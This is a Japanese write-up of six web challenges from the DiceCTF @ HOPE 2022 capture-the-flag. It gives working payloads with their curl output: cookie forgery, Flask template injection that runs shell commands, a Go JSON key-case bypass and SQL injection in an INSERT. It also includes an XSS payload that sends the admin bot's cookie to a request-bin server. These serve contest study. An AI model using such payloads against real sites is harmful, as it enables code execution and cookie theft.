[DiceCTF @ HOPE 2022] My own writeup
DiceCTF @ HOPE 2022が7/23 3:00 - 7/25 3:00(JST)の日程で開催されました. webを解いていたので, そのwriteupを以下に記します.
- [web] secure-page(293 solves)
- [web] reverser(225 solves)
- [web] flag-viewer(217 solves)
- [web] pastebin(139 solves)
- [web] point(111 solves)
- [web] oeps(83 solves)
[web] secure-page(293 solves)
cookieとしてadmin=true
を送信すると, flagが得られるようです.
admin = request.cookies.get('admin', '')
headers = {}
if admin == '':
headers['set-cookie'] = 'admin=false'
if admin == 'true':
return (200, '''
<title>Secure Page</title>
<link rel="stylesheet" href="/style.css" />
<div class="container">
<h1>Secure Page</h1>
%s
</div>
''' % os.environ.get('FLAG', 'flag is missing!'), headers)
else:
return (200, '''
<title>Secure Page</title>
<link rel="stylesheet" href="/style.css" />
<div class="container">
<h1>Secure Page</h1>
Sorry, you must be the admin to view this content!
</div>
''', headers)
cookieを送信してflagを得ます.
$ curl -b 'admin=true' https://secure-page.mc.ax/
<title>Secure Page</title>
<link rel="stylesheet" href="/style.css" />
<div class="container">
<h1>Secure Page</h1>
hope{signatures_signatures_signatures}
</div>
%
[web] reverser(225 solves)
ユーザーの入力をそのままflaskのrender_template_string()
に挿入しています. サーバーサイドテンプレートインジェクションが可能です.
from flask import Flask, render_template_string, request
app = Flask(__name__)
...
@app.post('/')
def reverse():
result = '''
<link rel="stylesheet" href="style.css" />
<div class="container">
<h1>Text Reverser</h1>
Reverse any text... now as a web service!
<form method="POST">
<input type="text" name="text">
<input type="submit" value="Reverse">
</form>
<p>Output: %s</p>
</div>
'''
output = request.form.get('text', '')[::-1]
return render_template_string(result % output)
こちらのブログを参考に, コード実行を行います. ペイロードとして{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah').read()}}
を送信します. ペイロードを反転させる必要があるため, 反転して送信します.
{% raw %}
$ curl -X POST --data-urlencode "text=}})(daer.)'hal- sl'(nepop.)'so'(__tropmi__.__snitliub__.__slabolg__.noitacilppa.tseuqer{{" https://reverser.mc.ax/
{% endraw %}
<link rel="stylesheet" href="style.css" />
<div class="container">
<h1>Text Reverser</h1>
Reverse any text... now as a web service!
<form method="POST">
<input type="text" name="text">
<input type="submit" value="Reverse">
</form>
<p>Output: total 16K
drwxr-xr-x 1 root root 4.0K Jul 22 19:41 .
drwxr-xr-x 1 root root 4.0K Jul 22 19:55 ..
-rw-r--r-- 1 root root 1.5K Jul 22 19:41 app.py
-rw-r--r-- 1 root root 28 Jul 22 19:41 flag-f5953883-3dae-4a0f-9660-d00b50ff4012.txt
</p>
</div>
%
flagが書かれているファイルはflag-f5953883-3dae-4a0f-9660-d00b50ff4012.txt
であることがわかるので, 中身を表示します.
{% raw %}
$ curl -X POST --data-urlencode "text=}})(daer.)'txt.2104ff05b00d-0669-f0a4-ead3-3883595f-galf tac'(nepop.)'so'(__tropmi__.__snitliub__.__slabolg__.noitacilppa.tseuqer{{" https://reverser.mc.ax/
{% endraw %}
<link rel="stylesheet" href="style.css" />
<div class="container">
<h1>Text Reverser</h1>
Reverse any text... now as a web service!
<form method="POST">
<input type="text" name="text">
<input type="submit" value="Reverse">
</form>
<p>Output: hope{cant_misuse_templates}
</p>
</div>
%
[web] flag-viewer(217 solves)
リクエストボディでuser=admin
を送信するとflagが得られます.
@server.post('/flag')
async def flag(request):
data = await request.post()
user = data.get('user', '')
if user != 'admin':
return (302, '/?message=Only the "admin" user can see the flag!')
return (302, f'/?message={os.environ.get("FLAG", "flag missing!")}')
locationヘッダにflagが格納されます.
$ curl -v -X POST --data-urlencode "user=admin" https://flag-viewer.mc.ax/flag
...
< HTTP/2 302
< content-type: text/plain; charset=utf-8
< date: Sat, 23 Jul 2022 15:11:10 GMT
< location: /?message=hope%7Boops_client_side_validation_again%7D
< server: Python/3.9 aiohttp/3.8.1
< content-length: 10
[web] pastebin(139 solves)
XSSの問題です. 以下のadmin botが用意されています. admin botは問題サイト(pastebin.mc.ax)のcookieにflagを格納して, ユーザーが指定するurlを訪れます.
import flag from './flag.txt'
export default {
id: 'pastebin',
name: 'pastebin',
timeout: 10000,
handler: async (url, ctx) => {
const page = await ctx.newPage()
await page.setCookie({ name: 'flag', value: flag.trim(), domain: 'pastebin.mc.ax' })
await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' })
await page.waitForTimeout(5000)
},
}
問題サイト(pastebin.mc.ax)では/flash
でmessageクエリパラメータを入力でき, そのパラメータは特に有効なチェックがなされることなくhtmlに表示されます. このパラメータを用いてXSSを行います.
app.get('/', (req, res) => {
const error = req.headers?.cookie?.match(/(?:^|; )error=(.+?)(?:;|$)/)?.[1];
res.type('html');
res.end(`
<link rel="stylesheet" href="/style.css" />
<div class="container">
<h1>Yet Another Pastebin</h1>
<form id="form" method="POST" action="/new">
<textarea form="form" name="paste"></textarea>
<input type="submit" value="Submit" />
</form>
<div style="color: red">${error ?? ''}</div>
</div>
`);
});
...
app.get('/flash', (req, res) => {
const message = req.query.message ?? '';
res.set('set-cookie', `error=${message}`);
res.redirect('/');
});
以下のurlにadmin botを訪問させます. Request Binなどでサーバを立て, XSS経由でjavascriptを実行してadmin botのcookie(flag)を送信させます.
https://pastebin.mc.ax/flash?message=<script>fetch(`[Request Binなどで立てたサーバのurl]?cookie=${document.cookie}`)</script>
無事にflagが送信されました.
[web] point(111 solves)
リクエストボディで渡したjsonがGoの構造体に変換されます.
type importantStuff struct {
Whatpoint string `json:"what_point"`
}
...
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
fmt.Fprint(w, "Hello, world")
return
case http.MethodPost:
body, err := io.ReadAll(r.Body)
fmt.Println(string(body))
...
var whatpoint importantStuff
err = json.Unmarshal(body, &whatpoint)
if err != nil {
fmt.Println(err)
fmt.Fprintf(w, "Something went wrong 3")
return
}
flagを取るためにはwhatpoint
構造体のキーWhatpoint
の値をthat_point
にしなければなりません.
if whatpoint.Whatpoint == "that_point" {
fmt.Fprintf(w, "Congrats! Here is the flag: %s", flag)
return
} else {
fmt.Fprintf(w, "Something went wrong 4")
return
}
キーWhatpoint
のjsonタグ名がwhat_point
に設定されているため, jsonのキーもwhat_point
を指定したいところです. しかし, 入力チェックが行われるため入力値のjsonキーにはwhat_point
の文字列を含めることはできません.
if strings.Contains(string(body), "what_point") || strings.Contains(string(body), "\\") {
fmt.Fprintf(w, "Something went wrong 2")
return
}
こちらを参考にすると, 構造体に指定したjsonタグ名は完全一致である必要はないそうです.
How does Unmarshal identify the fields in which to store the decoded data? For a given JSON key “Foo”, Unmarshal will look through the destination struct’s fields to find (in order of preference):
- An exported field with a tag of “Foo” (see the Go spec for more on struct tags),
- An exported field named “Foo”, or
- An exported field named “FOO” or “FoO” or some other case-insensitive match of “Foo”.
What_point
やWHAT_POINT
でも許容され, flagが得られます.
$ curl -X POST -H "Content-Type: application/json" -d '{"What_point":"that_point"}' https://point.mc.ax/
Congrats! Here is the flag: hope{cA5e_anD_P0iNt_Ar3_1mp0rT4nT}
$ curl -X POST -H "Content-Type: application/json" -d '{"WHAT_POINT":"that_point"}' https://point.mc.ax/
Congrats! Here is the flag: hope{cA5e_anD_P0iNt_Ar3_1mp0rT4nT}
[web] oeps(83 solves)
回文を投稿するとDBに登録され, 一覧が表示されるサイトが提供されています. 回文の検索も可能ですが, flagを取得するためにはこの機能は用いません.
以下の回文を登録するinsert文のsubmissionパラメータを用いてSQLインジェクションを行います.
connection.execute('''
insert into pending (user, sentence) values ('%s', '%s');
''' % (
token,
submission
))
flagはflagsテーブルに格納されています.
connection.execute('''
create table flags (
flag text
);
''')
flagをSELECT文で取得し, 文字列に連結してpendingテーブルにinsertします. submissionとして'||(select flag from flags))--
を送信します. submissionは回文である必要があるため, --))sgalf morf galf tceles(||'||(select flag from flags))--
を送信するとpendingテーブルにsentenseとしてflagを含む文字列が挿入されます.
まず/
を訪問してtokenを発行します.
$ curl -I https://oeps.mc.ax
HTTP/2 200
content-type: text/html; charset=utf-8
date: Sun, 24 Jul 2022 07:38:30 GMT
server: Python/3.9 aiohttp/3.8.1
set-cookie: token=3685fb59d7486cdd9a196483743a6fb3
content-length: 785
次にSQLインジェクションを用いてflagを含む文字列をpendingテーブルに挿入します.
$ curl -X POST -b 'token=3685fb59d7486cdd9a196483743a6fb3' --data-urlencode "submission=--))sgalf morf galf tceles(||'||(select flag from flags))--" https://oeps.mc.ax/submit
302: Found%
最後にflagを含む文字列を確認します.
curl -b 'token=3685fb59d7486cdd9a196483743a6fb3' https://oeps.mc.ax
<title>OEPS</title>
<link rel="stylesheet" href="/style.css" />
<div class="container">
<h1>The On-Line Encyclopedia of Palidromic Sentences</h1>
Enter a word or phrase:
<form action="/search" method="GET">
<input type="text" name="search" placeholder="on" />
<input type="submit" value="Search" />
</form>
<h2>Submit Sentence:</h2>
New palindrome:
<form action="/submit" method="POST">
<input type="text" name="submission" />
<input type="submit" value="Submit" />
</form>
<div style="color: red"></div>
<h2>Pending submissions:</h2>
<ul><li>--))sgalf morf galf tceles(||hope{ecid_gnivlovni_semordnilap_fo_kniht_ton_dluoc}</li></ul>
</div>
%
感想
webのoepsで「insert文中でselectのクエリ結果を文字列連結する」というアイデアがなかなか出てこず, 手こずっていました. そのため, そのアイデアを試し, 実際にflagが取れた時はとても嬉しかったです. このように, 悪用の可能性とそれを実現するアイデアを自分で考え, 実行する経験を大事にしていきたいところです.